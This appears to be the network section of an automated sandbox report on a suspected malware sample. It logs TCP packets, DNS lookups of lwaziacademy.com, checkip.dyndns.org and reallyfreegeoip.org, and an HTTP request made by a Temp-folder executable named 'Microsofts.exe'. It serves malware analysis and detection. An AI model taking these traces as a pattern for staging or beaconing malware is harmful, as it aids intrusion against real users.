Jan 9, 2025 19:09:50.534554958 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.534559965 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.536273956 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.536288023 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.536355019 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.536361933 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.536391973 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.538039923 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.538053989 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.538139105 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.538149118 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.538813114 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.538825989 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.538889885 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.538896084 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.540651083 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.540663004 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.540745974 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.540752888 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.541591883 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.541608095 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.541657925 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.541665077 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.541687965 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.587971926 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.587987900 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.588078022 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.588088989 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.588162899 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.589284897 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.589298010 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.589360952 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.589365959 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.590707064 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.590725899 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.590761900 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.590768099 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.590797901 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.591814041 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.591829062 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.591887951 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.591893911 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.592468977 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.592622995 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.593250036 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.593266010 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.593326092 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.593333006 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.594363928 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.594382048 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.594425917 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.594432116 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.594459057 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.595402956 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.595417023 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.595472097 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.595479965 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.595499039 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.596359968 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.596378088 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.596456051 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.596456051 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.596465111 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.597364902 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.597377062 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.597448111 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.597456932 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.599035978 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.599097013 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.675998926 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.676023960 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.676105976 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.676127911 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.676717043 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.676734924 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.676767111 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.676773071 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.676809072 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.676861048 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.678023100 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.678036928 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.678087950 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.678093910 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.678962946 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.678980112 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.679058075 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.679064989 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.679289103 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.679882050 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.679894924 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.679971933 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.679979086 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.681097031 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.682847023 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.682940006 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.683813095 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.683897972 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.684006929 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.684070110 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.684086084 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.684094906 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.684214115 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.800059080 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.800128937 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.800209999 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.800225019 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.800267935 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.801029921 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.801081896 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.801110983 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.801117897 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.801177025 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.801830053 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.801877975 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.801911116 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.801923990 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.801950932 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.801973104 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.802109003 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.802155972 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.802175999 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.802184105 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.802212000 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.802227974 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.803714037 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.803771019 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.803786993 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.803795099 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.803829908 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.803839922 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.804466009 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.804507017 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.804527998 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.804534912 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.804563046 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.804652929 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.804697990 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.804704905 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.804718018 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.804734945 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.804759026 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.804784060 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.805553913 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.805598021 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.805628061 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.805634975 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.805664062 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.805681944 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.886758089 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.886816025 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.886857986 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.886882067 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.886930943 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.886955023 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.887424946 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.887470007 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.887509108 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.887516975 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.887556076 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.887582064 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.888039112 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.888087034 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.888139009 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.888145924 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.888185978 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.888212919 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.888936043 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.888979912 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.889014006 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.889020920 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.889064074 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.890466928 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.890510082 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.890551090 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.890558958 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.890599012 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.890619993 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.891347885 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.891390085 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.891422987 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.891429901 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.891483068 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.891506910 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.892388105 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.892431974 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.892463923 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.892476082 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.892520905 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.892534018 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.892546892 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.892563105 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.892591953 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.892613888 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.892631054 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.892638922 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.892688990 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.892733097 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.011271954 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.011368036 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.011377096 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.011399031 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.011425018 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.011444092 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.011965990 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.012017012 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.012038946 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.012046099 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.012072086 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.012090921 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.012466908 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.012511015 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.012533903 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.012541056 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.012562037 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.012579918 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.013317108 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.013369083 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.013421059 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.013427973 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.013463020 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.013480902 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.013838053 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.013887882 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.013910055 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.013916969 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.013941050 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.013958931 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.014440060 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.014483929 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.014513969 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.014523983 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.014554024 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.014566898 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.015441895 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.015496016 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.015532017 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.015538931 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.015563965 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.015582085 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.016359091 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.016410112 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.016443014 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.016450882 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.016475916 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.016491890 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.097919941 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.097982883 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.098113060 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.098109961 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.098148108 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.098217964 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.098261118 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.098284006 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.098321915 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.098383904 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.116149902 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.116180897 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:51.116194963 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:51.116200924 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:57.107990026 CET	49860	80	192.168.2.6	158.101.44.242
Jan 9, 2025 19:09:57.115386963 CET	80	49860	158.101.44.242	192.168.2.6
Jan 9, 2025 19:09:57.115466118 CET	49860	80	192.168.2.6	158.101.44.242
Jan 9, 2025 19:09:57.115895987 CET	49860	80	192.168.2.6	158.101.44.242
Jan 9, 2025 19:09:57.123616934 CET	80	49860	158.101.44.242	192.168.2.6
Jan 9, 2025 19:09:57.694664001 CET	80	49860	158.101.44.242	192.168.2.6
Jan 9, 2025 19:09:57.886435986 CET	49860	80	192.168.2.6	158.101.44.242
Jan 9, 2025 19:09:57.891329050 CET	80	49860	158.101.44.242	192.168.2.6
Jan 9, 2025 19:09:58.045954943 CET	80	49860	158.101.44.242	192.168.2.6
Jan 9, 2025 19:09:58.095402956 CET	49860	80	192.168.2.6	158.101.44.242
Jan 9, 2025 19:09:58.182682037 CET	49866	443	192.168.2.6	104.21.80.1
Jan 9, 2025 19:09:58.182697058 CET	443	49866	104.21.80.1	192.168.2.6
Jan 9, 2025 19:09:58.182857037 CET	49866	443	192.168.2.6	104.21.80.1
Jan 9, 2025 19:09:58.188698053 CET	49866	443	192.168.2.6	104.21.80.1
Jan 9, 2025 19:09:58.188710928 CET	443	49866	104.21.80.1	192.168.2.6
Jan 9, 2025 19:09:58.713361979 CET	443	49866	104.21.80.1	192.168.2.6
Jan 9, 2025 19:09:58.713443995 CET	49866	443	192.168.2.6	104.21.80.1
Jan 9, 2025 19:09:58.725100994 CET	49866	443	192.168.2.6	104.21.80.1
Jan 9, 2025 19:09:58.725121021 CET	443	49866	104.21.80.1	192.168.2.6
Jan 9, 2025 19:09:58.725392103 CET	443	49866	104.21.80.1	192.168.2.6
Jan 9, 2025 19:09:58.805267096 CET	49866	443	192.168.2.6	104.21.80.1
Jan 9, 2025 19:09:58.870511055 CET	49866	443	192.168.2.6	104.21.80.1
Jan 9, 2025 19:09:58.915334940 CET	443	49866	104.21.80.1	192.168.2.6
Jan 9, 2025 19:09:58.985533953 CET	443	49866	104.21.80.1	192.168.2.6
Jan 9, 2025 19:09:58.985733986 CET	443	49866	104.21.80.1	192.168.2.6
Jan 9, 2025 19:09:58.985896111 CET	49866	443	192.168.2.6	104.21.80.1
Jan 9, 2025 19:09:58.992854118 CET	49866	443	192.168.2.6	104.21.80.1
Jan 9, 2025 19:11:03.046387911 CET	80	49860	158.101.44.242	192.168.2.6
Jan 9, 2025 19:11:03.046504021 CET	49860	80	192.168.2.6	158.101.44.242
Jan 9, 2025 19:11:38.067051888 CET	49860	80	192.168.2.6	158.101.44.242
Jan 9, 2025 19:11:38.072268963 CET	80	49860	158.101.44.242	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 19:09:47.970244884 CET	50280	53	192.168.2.6	1.1.1.1
Jan 9, 2025 19:09:48.305686951 CET	53	50280	1.1.1.1	192.168.2.6
Jan 9, 2025 19:09:57.089534998 CET	49933	53	192.168.2.6	1.1.1.1
Jan 9, 2025 19:09:57.099545002 CET	53	49933	1.1.1.1	192.168.2.6
Jan 9, 2025 19:09:58.173978090 CET	53107	53	192.168.2.6	1.1.1.1
Jan 9, 2025 19:09:58.181843996 CET	53	53107	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 19:09:47.970244884 CET	192.168.2.6	1.1.1.1	0x79dc	Standard query (0)	lwaziacademy.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:57.089534998 CET	192.168.2.6	1.1.1.1	0x17b4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:58.173978090 CET	192.168.2.6	1.1.1.1	0x1617	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 19:09:48.305686951 CET	1.1.1.1	192.168.2.6	0x79dc	No error (0)	lwaziacademy.com		41.185.8.252	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:57.099545002 CET	1.1.1.1	192.168.2.6	0x17b4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 19:09:57.099545002 CET	1.1.1.1	192.168.2.6	0x17b4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:57.099545002 CET	1.1.1.1	192.168.2.6	0x17b4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:57.099545002 CET	1.1.1.1	192.168.2.6	0x17b4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:57.099545002 CET	1.1.1.1	192.168.2.6	0x17b4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:57.099545002 CET	1.1.1.1	192.168.2.6	0x17b4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:58.181843996 CET	1.1.1.1	192.168.2.6	0x1617	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:58.181843996 CET	1.1.1.1	192.168.2.6	0x1617	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:58.181843996 CET	1.1.1.1	192.168.2.6	0x1617	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:58.181843996 CET	1.1.1.1	192.168.2.6	0x1617	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:58.181843996 CET	1.1.1.1	192.168.2.6	0x1617	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:58.181843996 CET	1.1.1.1	192.168.2.6	0x1617	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 19:09:58.181843996 CET	1.1.1.1	192.168.2.6	0x1617	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

lwaziacademy.com

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49860	158.101.44.242	80	1664	C:\Users\user\AppData\Local\Temp\Microsofts.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 19:09:57.115895987 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
